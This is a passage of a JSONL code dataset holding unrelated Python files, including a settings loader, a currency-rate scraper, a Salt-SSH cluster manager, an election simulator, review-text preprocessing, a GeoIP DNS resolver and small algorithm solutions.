activate_base)\n\n setup_install_env(activate_base, config, args.use_local)\n\n if args.release:\n is_test = False\n else:\n is_test = not config.getboolean('e3sm_unified', 'release')\n\n if is_test and args.use_local:\n local_conda_build = os.path.abspath('{}/conda-bld'.format(conda_base))\n else:\n local_conda_build = None\n\n bootstrap(activate_install_env, source_path, local_conda_build)\n\n remove_install_env(activate_base)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"e3sm_supported_machines/deploy_e3sm_unified.py","file_name":"deploy_e3sm_unified.py","file_ext":"py","file_size_in_byte":3417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"651902985","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# ==================================================\n# @Time : 2019-05-30 19:30\n# @Author : ryuchen\n# @File : config.py\n# @Desc :\n# ==================================================\nimport os\nimport yaml\nimport socket\n\n_current_dir = os.path.abspath(os.path.dirname(__file__))\nCONFIG_ROOT = os.path.normpath(os.path.join(_current_dir, \"..\", \"config\"))\n\n\nclass Settings:\n \"\"\"\n This function to protect the custom setting config does not influence the program successfully start up.\n \"\"\"\n\n default_path = os.path.join(CONFIG_ROOT, \"config.yaml\")\n default_config = {\n \"version\": \"v1.0.0-alpha\",\n \"hostname\": \"default\",\n \"hostaddr\": \"192.168.10.1\",\n \"connection\": {\n \"redis\": {\n \"host\": \"127.0.0.1\",\n \"port\": 6379,\n \"timeout\": 60\n },\n \"database\": {\n \"host\": \"127.0.0.1\",\n \"port\": 3306,\n \"dbname\": \"panda\",\n \"username\": \"root\",\n \"password\": \"it's so secret\",\n \"timeout\": 60\n },\n \"elasticsearch\": {\n \"host\": [\"127.0.0.1:9200\"],\n \"timeout\": 60\n }\n }\n }\n\n settings = {}\n\n @classmethod\n def loading_settings(cls):\n \"\"\"\n To merge the settings into the main setting.\n :return:\n \"\"\"\n if os.path.exists(cls.default_path):\n with open(cls.default_path) as default_config:\n cls.settings = yaml.load(default_config, Loader=yaml.SafeLoader)\n\n if cls.default_config:\n cls.settings.update(cls.default_config)\n\n cls.settings[\"hostname\"] = socket.gethostname()\n\n return cls.settings\n","sub_path":"lib/common/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":1794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"482557531","text":"import requests\nfrom bs4 import BeautifulSoup\nimport json\n\nwith open(\"./country_code.txt\") as f:\n\tdata = json.load(f)\n\nurl = \"https://travelmoney.moneycorp.com/order/UpdateAmounts\"\n\npost_data = {\n\t\"aseCurrencyAmount\":1006.19,\n\t\"BuyCurrency\":\"USD\",\n\t\"BuyCurrencyAmount\":\"\",\n\t\"ProductType\":\"2\",\n\t\"applyRounding\":\"true\"\n}\n\nheaders = {\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.96 Safari/537.36\",\n\t\t\"Accept\":\"application/json, text/javascript, */*; q=0.01\",\n\t\t\"ADRUM\":\"isAjax:true\",\n\t\t\"RequestVerificationToken\": \"IdFwAdrT53IcKz4j9fGcLTNKVv7iT9bHco1MWO-sfVEvFk1OFhQ6CReO8xK8IfsXp46SU-MetlBADAsCtdj9G2OWTRc1\"\n\t\t}\n\nreq = requests.get(url, headers = headers, data = post_data)\nhtml = req.text\nprint(html)\n# soup = BeautifulSoup(html, \"html.parser\")\n\n\n# select = soup.find(\"div\",{\"class\": \"cur-conv\"})\n# print(select)","sub_path":"moneycorp/moneycorp_rates.py","file_name":"moneycorp_rates.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"94863054","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\n\nclass Solution:\n def isSymmetric(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: bool\n \"\"\"\n\n def _isSymmetric(tree1, tree2):\n if not (tree1 or tree2):\n return True\n elif not (tree1 and tree2):\n return False\n else:\n if tree1.val == tree2.val:\n return _isSymmetric(tree1.left, tree2.right) and _isSymmetric(tree1.right, tree2.left)\n else:\n return False\n\n return _isSymmetric(root.left, root.right) if root else True\n","sub_path":"algorithms/101. Symmetric Tree/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"20751470","text":"import os\nimport yaml\nimport shutil\n\nfrom datasciencebox.core.dsbfile import DSBFile\nfrom datasciencebox.core.cloud import Cluster\nfrom datasciencebox.core.exceptions import DSBException\n\n\ndef safe_create_dir(path):\n if not os.path.exists(path):\n os.makedirs(path)\n\n\nclass Project(object):\n\n def __init__(self, cwd=None):\n self.cwd = cwd if cwd else os.getcwd()\n self.cluster = None\n self.dsbfile = None\n\n @classmethod\n def from_cwd(cls, cwd=None):\n cwd = cwd if cwd else os.getcwd()\n self = cls(cwd=cwd)\n\n if not os.path.exists(self.dsbfile_path):\n raise DSBException('dsbfile not found')\n\n self.read_dsbfile()\n self.read_instances()\n return self\n\n @property\n def dir(self):\n path = os.path.join(self.cwd, '.dsb')\n safe_create_dir(path)\n return os.path.realpath(path)\n\n @property\n def dsbfile_path(self):\n return os.path.join(self.cwd, 'dsbfile')\n\n def read_dsbfile(self):\n '''\n Read the dsbfile info\n '''\n fname = 'dsbfile'\n fname_secret = fname + '.secret'\n\n fpaths = []\n fpaths.append(os.path.join(self.cwd, fname))\n fpaths.append(os.path.join(self.cwd, fname_secret))\n self.dsbfile = DSBFile.from_filepaths(fpaths)\n\n self.dsbfile.validate_fields()\n\n def read_instances(self):\n '''\n Read `.dsb/instances.yaml`\n Initiates `self.cluster`\n '''\n filepath = self.instances_path\n if os.path.exists(filepath):\n self.cluster = Cluster.from_filepath(filepath, self.dsbfile)\n\n def save_instances(self):\n filepath = self.instances_path\n with open(filepath, 'w') as f:\n yaml.safe_dump(self.cluster.to_list(), f, default_flow_style=False)\n\n @property\n def instances_path(self):\n return os.path.join(self.dir, 'instances.yaml')\n\n def create(self):\n self.cluster = Cluster()\n self.cluster.dsbfile = self.dsbfile\n self.cluster.create()\n\n def destroy(self):\n self.cluster.fetch_nodes()\n self.cluster.destroy()\n\n def update(self, force=False):\n self.create_roster()\n self.salt_ssh_create_dirs()\n self.salt_ssh_create_master_conf()\n self.salt_ssh_copy_pillar()\n\n def save(self):\n self.save_instances()\n\n # Salt-SSH\n\n def salt_ssh_create_dirs(self):\n safe_create_dir(os.path.join(self.dir, 'salt'))\n safe_create_dir(os.path.join(self.dir, 'pillar'))\n safe_create_dir(os.path.join(self.dir, 'etc', 'salt'))\n safe_create_dir(os.path.join(self.dir, 'var', 'cache', 'salt'))\n\n @property\n def roster_path(self):\n return os.path.join(self.dir, 'roster.yaml')\n\n def create_roster(self):\n with open(self.roster_path, 'w') as f:\n yaml.safe_dump(self.generate_roster(), f, default_flow_style=False)\n\n def generate_roster(self):\n def roster_item(instance):\n ret = {}\n ret['host'] = instance.ip\n ret['user'] = instance.data['user']\n ret['priv'] = instance.data['keypair']\n ret['sudo'] = True\n return ret\n\n ret = {}\n ret['master'] = roster_item(self.cluster.instances[0])\n for i, instance in enumerate(self.cluster.instances[1:]):\n ret['minion-%i' % (i + 1)] = roster_item(instance)\n return ret\n\n @property\n def salt_ssh_config_dir(self):\n return os.path.join(self.dir, 'etc', 'salt')\n\n def salt_ssh_create_master_conf(self):\n this_dir = os.path.dirname(os.path.realpath(__file__))\n template_path = os.path.join(this_dir, 'templates', 'master.conf')\n with open(template_path, 'r') as f:\n master_conf_template = f.read()\n\n values = {}\n default_file_roots = os.path.join(this_dir, '..', '..', 'salt')\n values['default_file_roots'] = os.path.realpath(default_file_roots)\n values['extra_file_roots'] = os.path.join(self.dir, 'salt')\n values['pillar_roots'] = self.pillar_dir\n values['root_dir'] = self.dir\n values['cachedir'] = os.path.join(self.dir, 'var', 'cache', 'salt')\n\n master_conf = master_conf_template.format(**values)\n etc_salt_dir = os.path.join(self.dir, 'etc', 'salt')\n salt_master_file = os.path.join(etc_salt_dir, 'master')\n with open(salt_master_file, 'w') as f:\n f.write(master_conf)\n\n @property\n def pillar_dir(self):\n return os.path.join(self.dir, 'pillar')\n\n def salt_ssh_copy_pillar(self):\n this_dir = os.path.dirname(os.path.realpath(__file__))\n pillar_roots_src = os.path.join(this_dir, '..', '..', 'pillar')\n pillar_roots_src = os.path.realpath(pillar_roots_src)\n\n if os.path.exists(self.pillar_dir):\n shutil.rmtree(self.pillar_dir)\n shutil.copytree(pillar_roots_src, self.pillar_dir)\n\n self.render_pillar('salt.sls', {'master': self.cluster.master.ip })\n\n def render_pillar(self, path, values):\n from jinja2 import Environment, FileSystemLoader\n pillar_loader = FileSystemLoader(searchpath=self.pillar_dir)\n pillar_env = Environment(loader=pillar_loader)\n pillar_template = pillar_env.get_template(path)\n rendered = pillar_template.render(**values)\n with open(os.path.join(self.pillar_dir, path), 'w') as f:\n f.write(rendered)\n\n\nif __name__ == '__main__':\n p = Project()\n p.read()\n p.read_instances()\n # print p.generate_roster()\n p.update()\n # p.create()\n # p.save()\n","sub_path":"datasciencebox/core/project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":5611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"206824718","text":"import pickle\nimport numpy as np\nfrom pathlib import Path\nfrom .helpers.VoterTypes import voting_agreement\nfrom .helpers.TransferMethods import cincinnati_transfer\nfrom .helpers.ElectionSimulations import rcv_run\n\nDATA_DIR = './data'\n\n# Load the ballot_type frequencies once into memory, used in the Cambridge model below\nballot_type_frequencies = pickle.load(Path(DATA_DIR, 'Cambridge_09to17_ballot_types.p').open('rb'))\n\n# get ballot type frequencies, marginalized by the subset of interest\n# white-first probabilities for each ballot variant\nwhite_first_probs = {x: p for x, p in ballot_type_frequencies.items() if x[0] == 'W'}\nsum_white_first_probs = sum(white_first_probs.values())\nwhite_first_probs = {x: p/sum_white_first_probs for x, p in white_first_probs.items()}\nwhite_first_ballot_types = list(white_first_probs.keys())\nwhite_first_ballot_probs = list(white_first_probs.values())\n# poc-first probabilities, for each ballot variant\npoc_first_probs = {x: p for x, p in ballot_type_frequencies.items() if x[0] == 'C'}\nsum_poc_first_probs = sum(poc_first_probs.values())\npoc_first_probs = {x: p/sum_poc_first_probs for x, p in poc_first_probs.items()}\npoc_first_ballot_types = list(poc_first_probs.keys())\npoc_first_ballot_probs = list(poc_first_probs.values())\n\n\ndef _sample_ballots_for_voter_candidate_preference_group(max_ballot_length, pref_type_ballots, pref_type_probs, voter_candidate_orderings, num_samples):\n '''\n For each (voter_type x candidate_type) preference group, generate n_ballots many ballots based on a randomly sampled\n Cambridge ballot and the available candidates for each race\n '''\n\n selected_ballots = np.random.choice(\n pref_type_ballots,\n num_samples,\n p=pref_type_probs,\n )\n ballots_with_candidates = []\n for tuple_ballot in selected_ballots:\n selected_ballot = list(tuple_ballot)\n trimmed_selected_ballot = selected_ballot[:max_ballot_length]\n ballot_with_candidates = []\n w_ind = 0\n c_ind = 0\n for candidate_type in trimmed_selected_ballot:\n candidate_type_ordering = voter_candidate_orderings[candidate_type]\n relevant_ind = w_ind if candidate_type == 'W' else c_ind\n if (relevant_ind >= len(candidate_type_ordering)):\n break\n ballot_with_candidates.append(candidate_type_ordering[relevant_ind])\n if candidate_type == 'W':\n w_ind += 1\n else:\n c_ind += 1\n ballots_with_candidates.append(ballot_with_candidates)\n\n return ballots_with_candidates\n\n\ndef Cambridge_ballot_type_webapp(\n poc_share=0.33,\n poc_support_for_poc_candidates=0.7,\n poc_support_for_white_candidates=0.3,\n white_support_for_white_candidates=0.8,\n white_support_for_poc_candidates=0.2,\n num_ballots=1000,\n num_simulations=100,\n seats_open=4,\n num_poc_candidates=4,\n num_white_candidates=4,\n voting_preferences=[voting_agreement['identical'], voting_agreement['identical'], voting_agreement['identical'], voting_agreement['identical']],\n max_ballot_length=None,\n verbose=False\n):\n # Cambridge Sampler Model\n # NOTE: This version of the function has been significantly refactored. Variable names may not always line up\n # with the original version of this function, though an effort to synchronize them has been made.\n if max_ballot_length == None:\n max_ballot_length = num_poc_candidates+num_white_candidates\n poc_elected_Cambridge = []\n white_share = 1 - poc_share\n white_white_pref, white_poc_pref, poc_poc_pref, poc_white_pref = voting_preferences\n poc_candidates = ['A'+str(x) for x in range(num_poc_candidates)]\n white_candidates = ['B'+str(x) for x in range(num_white_candidates)]\n\n # Truncate the relevant ballots to reduce the statespace considered in sampling ballots\n # NOTE: Not all of these ballots are going to be valid, but this heuristic reduction in statespace\n # has a measurable improvement on the sampling time when there num_candidates is reasonably small\n num_candidates = num_poc_candidates + num_white_candidates\n truncated_probs = {}\n for pref in set([x[:num_candidates] for x in white_first_ballot_types]):\n truncated_probs[pref] = sum(\n [white_first_probs[x] for x in white_first_probs if x[:num_candidates] == pref]\n )\n white_first_probs_truncated = truncated_probs\n truncated_probs = {}\n for pref in set([x[:num_candidates] for x in poc_first_ballot_types]):\n truncated_probs[pref] = sum(\n [poc_first_probs[x] for x in poc_first_probs if x[:num_candidates] == pref]\n )\n poc_first_probs_truncated = truncated_probs\n white_first_ballot_types_truncated = list(white_first_probs_truncated.keys())\n white_first_ballot_probs_truncated = list(white_first_probs_truncated.values())\n poc_first_ballot_types_truncated = list(poc_first_probs_truncated.keys())\n poc_first_ballot_probs_truncated = list(poc_first_probs_truncated.values())\n\n # Split the total number of ballots along the support lines\n num_white_white_voters = int(num_ballots*(white_share)*white_support_for_white_candidates)\n num_white_poc_voters = int(num_ballots*(white_share)*white_support_for_poc_candidates)\n num_poc_poc_voters = int(num_ballots*(poc_share)*poc_support_for_poc_candidates)\n num_poc_white_voters = int(num_ballots*(poc_share)*poc_support_for_white_candidates)\n\n # define candidate preferences across voting groups\n white_voter_candidate_ordering = {\n 'W': list(reversed(white_candidates) if white_white_pref == voting_agreement['identical'] else np.random.permutation(white_candidates)),\n 'C': list(reversed(poc_candidates) if white_poc_pref == voting_agreement['identical'] else np.random.permutation(poc_candidates))\n }\n poc_voter_candidate_ordering = {\n 'W': list(reversed(white_candidates) if poc_white_pref == voting_agreement['identical'] else np.random.permutation(white_candidates)),\n 'C': list(reversed(poc_candidates) if poc_poc_pref == voting_agreement['identical'] else np.random.permutation(poc_candidates))\n }\n\n while num_simulations > 0:\n ballots = []\n\n # white voters white-candidate first on ballot\n new_ballots = _sample_ballots_for_voter_candidate_preference_group(\n max_ballot_length,\n white_first_ballot_types_truncated,\n white_first_ballot_probs_truncated,\n white_voter_candidate_ordering,\n num_white_white_voters\n )\n ballots.extend(new_ballots)\n # white voters poc first\n new_ballots = _sample_ballots_for_voter_candidate_preference_group(\n max_ballot_length,\n poc_first_ballot_types_truncated,\n poc_first_ballot_probs_truncated,\n white_voter_candidate_ordering,\n num_white_poc_voters\n )\n ballots.extend(new_ballots)\n # poc voters poc first\n new_ballots = _sample_ballots_for_voter_candidate_preference_group(\n max_ballot_length,\n poc_first_ballot_types_truncated,\n poc_first_ballot_probs_truncated,\n poc_voter_candidate_ordering,\n num_poc_poc_voters\n )\n ballots.extend(new_ballots)\n # poc voters white first\n new_ballots = _sample_ballots_for_voter_candidate_preference_group(\n max_ballot_length,\n white_first_ballot_types_truncated,\n white_first_ballot_probs_truncated,\n poc_voter_candidate_ordering,\n num_poc_white_voters\n )\n ballots.extend(new_ballots)\n\n winners = rcv_run(\n ballots.copy(),\n poc_candidates + white_candidates,\n seats_open,\n cincinnati_transfer,\n )\n poc_elected_Cambridge.append(len([x for x in winners if x[0] == 'A']))\n num_simulations -= 1\n\n return poc_elected_Cambridge, None\n","sub_path":"models/CambridgeSampler.py","file_name":"CambridgeSampler.py","file_ext":"py","file_size_in_byte":7991,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"648114264","text":"#!/usr/bin/env python3\n\nimport os\nimport string\nimport time\n\nimport numpy as np\nimport pandas as pd\nfrom tensorflow.keras.preprocessing.sequence import pad_sequences\nfrom tensorflow.keras.preprocessing.text import Tokenizer\nfrom nltk.corpus import stopwords\nfrom nltk.stem.snowball import SnowballStemmer\nfrom nltk.stem import WordNetLemmatizer # noqa\nfrom tqdm import tqdm\n\n# Start total file time\nfile_time = time.time()\n\n# Read Data\nprint(\"Loading data...\", end=\"\\r\")\nstart_time = time.time()\nbusiness = pd.read_json(\"../data/business.json\", lines=True)\n# review = pd.read_json(\"../data/review_1000.json\", lines=True)\n# review = pd.read_json(\"../data/review_200000.json\", lines=True)\nreview = pd.read_json(\"../data/review_1000000.json\", lines=True)\nend_time = np.round(time.time() - start_time, 2)\nprint(f\"Loading data...DONE! [{end_time} seconds]\")\nprint()\n\n# Get Categories from business.json\ncat_counts = {}\nfor index, row in tqdm(business.iterrows(), desc=\"Getting Categories\"):\n if row[\"categories\"] is None:\n continue\n\n cat_row = [x.strip() for x in row[\"categories\"].split(\",\")]\n for cat in cat_row:\n # Get Category Counts\n if cat in cat_counts:\n cat_counts[cat] += 1\n else:\n cat_counts[cat] = 1\n\n# Get Sorted Categories\ncategories = sorted([k for k, v in cat_counts.items()])\n\n# Categories Statistics\ntop_25_categories = sorted(\n [(k, v) for k, v in cat_counts.items()], key=lambda x: x[1], reverse=True\n)[:25]\n\nprint(f\"Number of Categories: {len(categories)}\")\nprint(\"--Top 25 Categories--\")\nfor k, v in top_25_categories:\n print(f\"{k}: {v}\")\nprint()\n\n# Merge business into reviews\nmerge_df = business[[\"business_id\", \"name\", \"categories\"]]\nreview = review.merge(merge_df, on=\"business_id\", how=\"left\")\nreview = review[[\"business_id\", \"name\", \"text\", \"categories\"]]\ndel business\n\n# Add business name to review\nreview[\"text\"] = review[\"name\"] + \" \" + review[\"text\"]\nreview = review.drop([\"name\"], axis=1)\n\n# Convert Reviews Categories to OneHotEncoding\nfor index, row in tqdm(\n review.iterrows(), desc=\"Converting Categories to OneHotEncoding\"\n):\n if row[\"categories\"] is None:\n continue\n\n cat_row = [x.strip() for x in row[\"categories\"].split(\",\")]\n\n # Get indices of categories for row\n indices = []\n for cat in cat_row:\n indices.append(categories.index(cat))\n\n # Build OneHot Vector and flip indices to 1\n onehot = np.zeros(len(categories))\n for i in indices:\n onehot[i] = 1\n\n review.at[index, \"categories\"] = onehot\n\nprint(\"Cleaning and Vectorizing Text...\", end=\"\\r\")\nstart_time = time.time()\n\n# Remove Punctuation\nreview[\"text\"] = (\n review[\"text\"]\n .str.replace(\"[{}]\".format(string.punctuation), \"\")\n .str.lower()\n .str.split()\n)\n\n# Remove Stop Words\nstop = stopwords.words(\"english\")\nreview[\"text\"] = review[\"text\"].apply(\n lambda x: [item for item in x if item not in stop]\n)\n\n# SnowballStemmer (Best)\nstemmer = SnowballStemmer(\"english\")\nreview[\"text\"] = review[\"text\"].apply(lambda x: [stemmer.stem(item) for item in x])\n\n# Lemmatization\n# lemmatizer = WordNetLemmatizer()\n# review[\"text\"] = review[\"text\"].apply(\n# lambda x: [lemmatizer.lemmatize(item) for item in x]\n# )\n\n# Drop reviews that have no categories\nreal = review[review[\"categories\"].isna()]\nreview = review[review[\"categories\"].notnull()]\nids = review['business_id']\n\n# Convert to numpy matrix\nreview_text = np.array(review[\"text\"].values)\nreal_text = np.array(real[\"text\"].values)\n\n# Get words and line length\nwords = []\nmaxlen = 0\nfor line in review_text:\n if len(line) > maxlen:\n maxlen = len(line)\n for word in line:\n if word not in words:\n words.append(word)\n\n# Tokenizer - creates sequence of word ids\n# Num_words is the most X common words are kept\ntokenizer = Tokenizer(num_words=len(words))\ntokenizer.fit_on_texts(review_text)\n\nX = tokenizer.texts_to_sequences(review_text)\nreal_X = tokenizer.texts_to_sequences(real_text)\ny = np.array(review[\"categories\"].tolist())\n\n# Pad X\nX = pad_sequences(X, padding=\"post\", maxlen=maxlen)\nreal_X = pad_sequences(real_X, padding=\"post\", maxlen=maxlen)\n\n# Set some params for training\nparams = {}\nparams[\"maxlen\"] = maxlen\nparams[\"vocab_size\"] = len(tokenizer.word_index) + 1\n\nend_time = np.round(time.time() - start_time, 2)\nprint(f\"Cleaning and Vectorizing Text...DONE! [{end_time} seconds]\")\nprint(f\"Number of Reviews: {len(review) + len(real)}\")\nprint(f\"Number of Training Reviews: {len(review)}\")\nprint(\n f\"Number of Reviews to Businesses without Categories (Real World Data): {len(real)}\"\n)\nprint(f\"X Shape: {X.shape}\")\nprint(f\"y Shape: {y.shape}\")\nprint()\n\n# Save Some Stuff\nprint(\"Saving data...\", end=\"\\r\")\nstart_time = time.time()\ndirectory = \"obj/\"\nif not os.path.exists(directory):\n os.makedirs(directory)\nnp.save(directory + \"ids.npy\", ids)\nnp.save(directory + \"X.npy\", X)\nnp.save(directory + \"y.npy\", y)\nnp.save(directory + \"real_X.npy\", real_X)\nnp.save(directory + \"real.npy\", real)\nnp.save(directory + \"categories.npy\", categories)\nnp.save(directory + \"params.npy\", params)\nend_time = np.round(time.time() - start_time, 2)\nprint(f\"Saving data...DONE! [{end_time} seconds]\")\n\nend_time = np.round(time.time() - file_time, 2)\nprint(f\"Total Processing Time: {end_time} seconds\")\n","sub_path":"task1/process_data.py","file_name":"process_data.py","file_ext":"py","file_size_in_byte":5297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"91534395","text":"import tensorflow as tf\n\nk = tf.Variable(.5, dtype=tf.float32, name='k') # slope variable, initialized with 0.5\nd = tf.Variable(-.12, dtype=tf.float32, name='d') # y-intersect, initalized with -0.12\nx = tf.placeholder(tf.float32, name = 'x')\nlinear_model = k * x + d\n\n\nsess = tf.Session();\ninit = tf.global_variables_initializer()\nsess.run(init)\nprint(sess.run(linear_model, {x : [1, 2, 3, 4]}))\n# create a file and serialize the session graph for TensorBoard\nfile_writer = tf.summary.FileWriter('./logs', sess.graph)\n","sub_path":"tensorflow/linearmodel.py","file_name":"linearmodel.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"622719454","text":"# run with twistd -ny tx_geoip_dns.py\n# gleicon 2011\n# lxfontes 2012\n\nfrom twisted.names import dns, server, client, cache\nfrom twisted.application import service, internet\nfrom twisted.internet import defer\nfrom twisted.python import log\nimport txredisapi\nimport urllib2\nimport json\n\nclass RedisResolverBackend(client.Resolver):\n def __init__(self, redis, servers=None):\n self.redis = redis\n client.Resolver.__init__(self, servers=servers)\n self.ttl = 3600\n\n @defer.inlineCallbacks\n def locate(self, ip):\n parts = ip.split('.',4)\n ip = \".\".join(reversed(parts))\n print(\"Looking for %s\" % ip)\n location = yield self.redis.get(\"GEOIP:%s\" % ip)\n if location:\n defer.returnValue(location)\n print(\"Looking up freegeoip: %s\" % ip)\n #check with freegeoip\n try:\n body = urllib2.urlopen(\"http://freegeoip.net/json/%s\" % ip).read()\n jobj = json.loads(body)\n location = \"%s, %s, %s\" % (jobj['city'], jobj['region_name'],\n jobj['country_name'])\n yield self.redis.setex(\"GEOIP:%s\" % ip, location, self.ttl)\n defer.returnValue(location)\n except:\n defer.returnValue(None)\n\n @defer.inlineCallbacks\n def _handle_ptr(self, name, timeout=None):\n #get rid of in-addr.arpa\n location = yield self.locate(name[:-13])\n if location:\n print(\"FOUND\")\n txt = dns.RRHeader(name, dns.TXT, dns.IN, self.ttl, dns.Record_TXT(location))\n defer.returnValue([(txt,),(),()])\n\n def lookupPointer(self, name, timeout = None):\n return self._handle_ptr(name, timeout)\n\n\ndef create_application():\n rd = txredisapi.lazyConnectionPool()\n redisBackend = RedisResolverBackend(rd, servers=['8.8.8.8'])\n\n application = service.Application(\"txdnsredis\")\n srv_collection = service.IServiceCollection(application)\n\n dnsFactory = server.DNSServerFactory(caches=[cache.CacheResolver()], clients=[redisBackend])\n\n internet.TCPServer(53, dnsFactory).setServiceParent(srv_collection)\n internet.UDPServer(53, dns.DNSDatagramProtocol(dnsFactory)).setServiceParent(srv_collection)\n return application\n\n# .tac app\napplication = create_application()\n\n","sub_path":"tx_geoip_dns.py","file_name":"tx_geoip_dns.py","file_ext":"py","file_size_in_byte":2285,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"495408869","text":"import kivy\r\nfrom kivymd.app import MDApp\r\nfrom kivy.uix.gridlayout import GridLayout\r\n\r\nclass CalculatorApp(GridLayout):\r\n def calculate(self,calculation):\r\n if calculation:\r\n try:\r\n self.display.text=str(eval(calculation))\r\n except Exception:\r\n self.display.text = \"Error\"\r\nclass Calculator(MDApp):\r\n def build(self):\r\n return CalculatorApp()\r\nCalculator().run()\r\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"608888360","text":"# 此处可 import 模块\n\n\"\"\"\n@param string line 为单行测试数据\n@return string 处理后的结果\n\"\"\"\n\n\ndef solution(line):\n# 缩进请使用 4 个空格,遵循 PEP8 规范\n# please write your code here\n\n# return 'your_answer'\n\n nums = [int(x) for x in line.strip().split(',')]\n nums.sort()\n l = len(nums)\n s = set()\n for i in range(l-3):\n\n for j in range(i+1, l-2):\n\n if -(nums[i] + nums[j]) in nums[j+1:]:\n s.add((nums[i], nums[j]))\n\n return len(s)\n\n\naa = solution(\"-1,0,1,2,-1,-4\")\nprint(aa)\n","sub_path":"mi/15.py","file_name":"15.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"37567393","text":"# coding: utf-8\nfrom __future__ import unicode_literals\n\nDEFAULT_ALLOW_CASH_COUNT = 30000\nDEFAULT_ALLOW_CASH_RIGHT_COUNT = 1000\nDEFAULT_COIN_CASH_PROPORTION = 1000\nDEFAULT_NEW_PACKET = 6660\nTOTAL_LEVEL = 800\nROUND_CASH = 30000\nROUND_COUNT = 1000\nNEW_EXTEND_TIMES = 3\nDEFAULT_REWARD_COUNT = 10\nNEW_VERSION_REWARD_COUNT = 20\nDEFAULT_SONGS_COUNT = 6\nDEFAULT_SONGS_THRESHOLD = 0\nDEFAULT_SONGS_TWO_COUNT = 5\nDEFAULT_SONGS_TWO_COUNT_EXP = 4\nDEFAULT_SONGS_TWO_THRESHOLD = 10\nDEFAULT_SONGS_THREE_COUNT = 1\nDEFAULT_SONGS_THREE_THRESHOLD = 5000\nDEFAULT_MAX_CASH_LIMIT = 25000\nDEFAULT_SONGS_BONUS_THRESHOLD = 20\nDEFAULT_QUESTION_NUMBER = 180\n\n# 红包相关\nPACKET_TYPE_NEW_CASH = 0\nPACKET_TYPE_CASH = 1\nPACKET_TYPE_EXTEND = 2\nPACKET_TYPE_PHONE = 3\nPACKET_TYPE_WITHDRAW = 4\n\nSTATUS_USED = 0\nSTATUS_UNUSE = 1\nSTATUS_EXPIRE = 2\n\nSTATUS_FAIL = 0\nSTATUS_REVIEW = 1\nSTATUS_FINISH = 2\n\nSTATUS_DESTROY = 0\nSTATUS_ENABLE = 1\nSTATUS_PAUSE = 2\n\nTASK_OK = 0\nTASK_DOING = 1\nTASK_FINISH = 2\nTASK_EXPIRE = 3\n\nTASK_TYPE_DAILY = 1\nTASK_TYPE_COMMON = 2\n\nDEFAULT_NEW_WITHDRAW_THRESHOLD = 30\nDEFAULT_FIRST_WITHDRAW_THRESHOLD = 30000\nDEFAULT_SECOND_WITHDRAW_THRESHOLD = 50000\nDEFAULT_THIRD_WITHDRAW_THRESHOLD = 100000\n\nNEW_WITHDRAW = 0\nNORMAL_WITHDRAW = 1\n\nEVENT_AD_STIMULATE_RIGHT = 1\nEVENT_AD_STIMULATE_WRONG = 2\nEVENT_AD_STIMULATE_FORCE_WRONG = 3\nEVENT_AD_STIMULATE_FORCE_RIGHT = 4\nEVENT_AD_CARD_RESDIA = 5\nEVENT_AD_CARD_USERCENTER = 6\nEVENT_AD_SPLASH = 7\nEVENT_TRANSFORM_ACTIVATE = 0\nEVENT_TRANSFORM_REGISTER = 1\nEVENT_TRANSFORM_PAY = 2\nEVENT_TRANSFORM_TWICE = 6\n\nDEFAULT_LOCK_TIMEOUT = 3\n","sub_path":"core/consts.py","file_name":"consts.py","file_ext":"py","file_size_in_byte":1562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"602223033","text":"\"\"\"Tests for the subscription of consumers to love_csc streams.\"\"\"\nimport pytest\nimport json\nfrom django.contrib.auth.models import User, Permission\nfrom channels.testing import WebsocketCommunicator\nfrom manager.routing import application\nfrom api.models import Token\nfrom manager import utils\n\n\nclass TestTimeData:\n def setup_method(self):\n \"\"\"Set up the TestCase, executed before each test of the TestCase.\"\"\"\n self.user = User.objects.create_user(\n \"username\", password=\"123\", email=\"user@user.cl\"\n )\n self.token = Token.objects.create(user=self.user)\n self.user.user_permissions.add(Permission.objects.get(name=\"Execute Commands\"))\n self.url = \"manager/ws/subscription/?token={}\".format(self.token)\n\n @pytest.mark.asyncio\n @pytest.mark.django_db(transaction=True)\n async def test_get_time_data(self):\n # Arrange\n communicator = WebsocketCommunicator(application, self.url)\n connected, subprotocol = await communicator.connect()\n\n # Act 1 (Subscribe)\n msg = {\n \"action\": \"get_time_data\",\n \"request_time\": 12312312341123,\n }\n await communicator.send_json_to(msg)\n response = await communicator.receive_json_from()\n time_data = response[\"time_data\"]\n request_time = response[\"request_time\"]\n\n # Assert 1\n assert utils.assert_time_data(time_data)\n assert request_time == 12312312341123\n await 